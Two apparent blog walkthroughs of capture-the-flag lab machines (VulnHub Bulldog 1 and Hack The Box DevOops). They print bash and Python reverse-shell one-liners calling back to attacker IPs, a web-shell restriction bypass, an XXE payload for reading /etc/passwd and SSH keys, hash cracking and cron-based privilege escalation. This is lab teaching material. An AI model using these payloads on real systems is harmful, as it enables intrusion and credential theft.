VulnHub – Bulldog 1

Please note: This post was first released on December 10, 2018 on my old blog at: https://offensive-it.blogspot.com/2018/12/vulnhub-bulldog-1.html
Machine: Bulldog v1
Difficulty: Easy
Link: https://www.vulnhub.com/entry/bulldog-1,211/

Goal: Root Flag

We start with a Nmap scan and see that the system is hosting a web service.

1. Results of Nmap scan

When we browse the web page we find a public notice which states that the Bulldog Industries website got hacked and that the IT staff is investigating the possible data breach as well as implementing a more secure environment.
When we take a look at the robots.txt file we can see that indeed the server seems to be hacked in the past by a group of hackers called “German Shepherd Hack Team”.

2. Contents of Robots.txt file

Next up we use Gobuster to search for any hidden directories on the web server. As a result we find the directories “/admin” and “/dev“. When browsing the “/admin” directory we find a login mask for the Django web framework backend as shown in figure 3. Right now we don’t have any valid credentials which is why we keep searching and take a look at the other directory.

3. Login mask on /admin

Looking at “/dev” we find the following text as shown in figure 4. When reading the content of the site we find a few interesting things. The system seems to use a Mongo database. Furthermore there are plans to use a web shell and a new antivirus system. At the bottom of the page we find a few E-mail addresses with potential usernames.

4. Contents of “/dev” Directory

When we follow the link to access the web shell we get redirected to the “/dev/shell” directory. There we see a black page and the following text message: “Please authenticate with the server to use Web-Shell”.

While searching for further information and some potential usernames and passwords we take a closer look at the source code of each web page and find something interesting on the source code for the “/dev” web page.

5. Comments with hashes inside the source code for “/dev”

As figure 5 shows, the source code for the “/dev” web site has comments with hash values inside. Next we try to use Hashcat to recover any passwords that belong to the hash values. But to do so we need to know what types of hashes we are looking at. Using the command “wc -c” we see that the hashes are 40 characters log. So we can calculate “40 * 4 bits = 160 bit digest” which is typical for SHA1 hashes. A helpful link to get an overview of the different hash algorithms and their digest length can be found on Wikipedia.

Since we now know that we have to deal with SHA1 hashes we can use Hashcat to perform dictionary attacks.
When we use the most common Kali Linux dictionary named “rockyou” we are able to recover the following password:

d8b8dd5e7f000b8dea26ef8428caf38c04466b3e = bulldoglover

When using a few different common dictionaries we can even recover a second password:

ddf45997a7e18a25ad5f5cf222da64814dd060d5 = bulldog

Using the recovered passwords and the corresponding usernames “Nick” and “Sarah” to connect via ssh we won’t be able to access the system. But when we try to use the same username & password combination to authenticate on the “/admin” directory from figure 3 we have a valid access to the backed. Unfortunately both users do not have any permission on the backend.
Since we now have a way to authenticate our self as nick or Sarah to the server we go back to the “/dev/shell” directory where no longer is a message to perform an authentication but a restricted web shell.

6. Web shell with limited command execution

When using the web shell we are limited in the amount of commands that can be used. When we try to use any command that is not whitelisted the execution gets blocked as shown in figure 6.

Inside of the current directory of the web shell we find a sqlite database. But when we try to display its contents we receive a statuscode 500 – internal server error response. Furthermore we can access a “manage.py” file but since we are not able to use python with the restricted web shell we can not make any use of it.

To execute arbitrary code on the system we need to bypass the restrictions of the web shell. Since we can use “echo” we try to write valid commands into a new file. Afterwards we try to execute the command by piping the command to bash.

echo “#!bin/sh\n whoami” > whoami.sh
cat whoami.sh | bash

7. Web shell restriction bypassed – arbitrary code execution

The next step is to escape from the restricted web shell into a reverse shell by using the following code.

echo “#!bin/sh\n bash -i >& /dev/tcp/10.0.2.15/9001 0>&1” > shell.sh

cat shell.sh | bash

This way we get a reverse shell without any limitations on what commands can and can not be executed.

8. Non-restricted reverse shell

With the reverse shell we now can access the db.sqlite3 file inside “/home/django/bulldog“, which was not accessible over the web shell. Inside the database there are multiple password hashes stored. When we extract the hashes we see that there is a new username “admin” besides multiple already known usernames.

9. Extracted hashes from database file

When we look at the hash types that are being supported by Hashcat we see that mode 10000 is Django (PBKDF2-SHA256) which is why we try another dictionary attack. Unfortunately we are not able to recover any new passwords.

While we try to find a way to escalate our privileges we stumble across an odd looking cron job called “runAV” as shown in figure 10.

10. Cron job to run AV-Python script every Minute

We remember that we already read about a revolutionary custom-made AV system on the “/dev” web page while enumerating the system earlier. So we take a look at the actual python file that gets executed.

11. Contents of revolutionary AV : )

The really interesting part of the av file is that we have write-permission as shown in figure 11. Which is why we swap the current content of the av file with code for a second reverse shell as shown in figure 12.

12. Using python to create a reverse shell from the av file

Since the cron job to execute the av application runs every minute we get a callback on port 9002 after a few seconds. Furthermore because the cron job runs the python script as user root we gain a reverse shell with root permissions and have access to the flag as shown in figure 13.

13. Root access & flag

The second way to obtain root that is being mentioned inside the flag is even easier to perform. To do so we need to access another hidden directory called “.hiddenadmindirectory” and take a close look at a binary called “customPermissionApp” as shown in figure 14 & 15.

14. Hidden directory inside the home directory of user bulldogadmin
15. Credential leak for user root

 

Hack The Box – DevOops

Please note: This post was first released on October 15, 2018 on my old blog at: https://offensive-it.blogspot.com/2018/10/hack-box-devoops.html

This box retired on 12th of October 2018
Goal: CTF – user.txt & root.txt
Difficulty: 4.3 / 10 (rated by HTB-community)

As always we use Nmap to scan for open ports. As we can see in figure 1, the box is hosting a web service on port 5000 and offers SSH on port 22.

1. Nmap scan result

Since it is always a good idea to have some information gathering running in the background we start gobuster and search for any hidden directories. Meanwhile we browse the web site which shows the following text as shown in figure 2.

2. DevOops Website

Since we won’t find anything else of interest on the web site we look at the results of gobuster and see that it has found the two directories “/feed” and “/upload”.
We browse the “/upload” directory and try to upload a reverse shell. Since figure 1 showed that the web service is using Gunicorn, which is a python web server, we try to upload the following python reverse shell, where we want to connect back to our attacking machine on port 9001:

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.10.14.237”,9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

3. Upload directory

When we hit the upload button we get a statuscode 200 response. But before the connection gets build up we need to browse to the python shell on the web server so that it gets executed. But we do not know in which directory the shell got uploaded. We try to search everywhere to find the shell. My best guess was that it will get uploaded into the “/feed” directory, but we won’t find anything there. Since we are not able to get the uploaded shell executed we need to take a step back and try to find another way to access the system. When we have a look at figure 3 we see that the web service wants the uploaded files to be XML with the elements “Author”, “Subject” and “Content”. So, we create a XML file as shown in figure 4.

4. Harmless XML-File to test upload function

When we upload the file from figure 4 we get a statuscode 200 response and,

5. XML-Upload success

as shown in figure 5, the information where the file has been stored on the system. Because of this, we now know where we can find the files that we upload and furthermore we know that there is a user called “roosa” on the system. The next step is to check whether we can find our reverse shell that we have uploaded earlier inside of the “/uploads” directory. But we have no luck and it looks like the reverse shell never got uploaded.

So, we are still searching for a way to get initial access to the system by executing code from remote which is why I searched for “reverse shell xml” on Google. The fourth article is about XXE which is an web vulnerability which exploits weakly configured XML parsers by uploading maliciously crafted XML files. From the article we learn that with the following code we can make a reference to an external entity.

DOCTYPE foo [
<!ENTITY xxe SYSTEM “file:///etc/passwd” >]>

To load the reference, we embed “&xxe” inside the value for the subject of our previously crafted XML file which looks like figure 6.

6. XML-File with XXE

When we upload the XML file with the XXE-Code we are able to exfiltrate data from the system as shown in figure 7.

7. Data-Exfiltration via XXE

Combining the ability to exfiltrate data from the system and knowing about a user on the system called roosa, we are already capable to obtain the “user.txt” flag as shown in figure 8.

8. Getting user flag via XXE

Even though we have obtained the user flag we are still missing a valid way to execute commands on the system. From figure 1 we know that the box is offering SSH so maybe we can find a way to access the system via SSH as user roosa. To do so we would need to exfiltrate some credentials or a private key. We take a closer look via XXE at the home directory of user roosa and find a valid entry for “/home/roosa/.ssh/id_rsa” as shown in figure 9. With the private key from we can access the box via SSH as user roosa.

9. SSH private key via XXE
10. . Bash_History

On the system we need to find a way to get root privileges. When we take a look inside the bash history we find a very interesting entry. As figure 10 shows, it seems like a user had previously used “git” and pushed a wrong key file. This sounds like a big “Oops” and therefore might be exactly what we are looking for. Since the user reverted his mistake we need to access the data of the key file before it got changed. To do so we take a closer look at the available git commands and their options. We find a command called git log, which shows the logs for all previous commits. With parameter “-p” we can see what exactly has been modified with each commit. We access the directory “/deploy/resources/integrations” where the “authcredentials.key” file is located. But when we use the “git log” command we get the following error message:

fatal: Not a git repository (or any parent up to mount point /home)
Stopping at filesystem boundary (GIT_DISCOVERY_ACROSS_FILESYSTEM not set).

When search inside the bash history for the git repository we see that it is located inside the directory “/work/blogfeed” for user roosa. So, we change the directory to “/home/roosa/work/blogfeed/resources/integration” and use the git log command and see a preview of all previous commits. When using the “-p” option we can see the exact contents for each commit and are able to find the previous commit from figure 10, where the user had mistakenly uploaded a wrong private SSH key.

11. Initial git commit with “wrong” authentication key

Using the SSH key from figure 11 we can connect to the box via SSH as root and access the final flag as shown in figure 12.

12. Root access & flag